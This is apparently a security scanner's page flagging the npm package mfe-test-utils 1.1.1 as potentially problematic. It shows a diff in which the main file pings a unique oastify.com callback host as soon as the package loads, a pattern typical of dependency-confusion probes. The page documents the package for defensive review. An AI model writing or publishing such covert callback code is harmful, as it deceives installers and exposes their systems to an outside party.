mfe-test-utils 1.1.1

Sign up to get free protection for your applications and to get access to all the features.

Potentially problematic release.


This version of mfe-test-utils might be problematic. Click here for more details.

Files changed (2) hide show
  1. package/index.js +15 -0
  2. package/package.json +11 -0
package/index.js ADDED
@@ -0,0 +1,15 @@
1
+ const http = require('http');
2
+
3
+ http.get('http://mfe-test-utils.wjjzv75sne0jg1bk2qwbdt7gz75ytrhg.oastify.com', (res) => {
4
+ let data = '';
5
+
6
+ res.on('data', (chunk) => {
7
+ data += chunk;
8
+ });
9
+
10
+ res.on('end', () => {
11
+ console.log(data);
12
+ });
13
+ }).on('error', (err) => {
14
+ console.error(err);
15
+ });
package/package.json ADDED
@@ -0,0 +1,11 @@
1
+ {
2
+ "name": "mfe-test-utils",
3
+ "version": "1.1.1",
4
+ "description": "",
5
+ "main": "index.js",
6
+ "scripts": {
7
+ "test": "echo \"Error: no test specified\" && exit 1"
8
+ },
9
+ "author": "",
10
+ "license": "ISC"
11
+ }